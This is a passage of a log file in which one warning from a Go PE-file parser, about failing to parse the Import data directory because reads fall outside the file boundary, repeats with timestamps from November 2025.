level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading 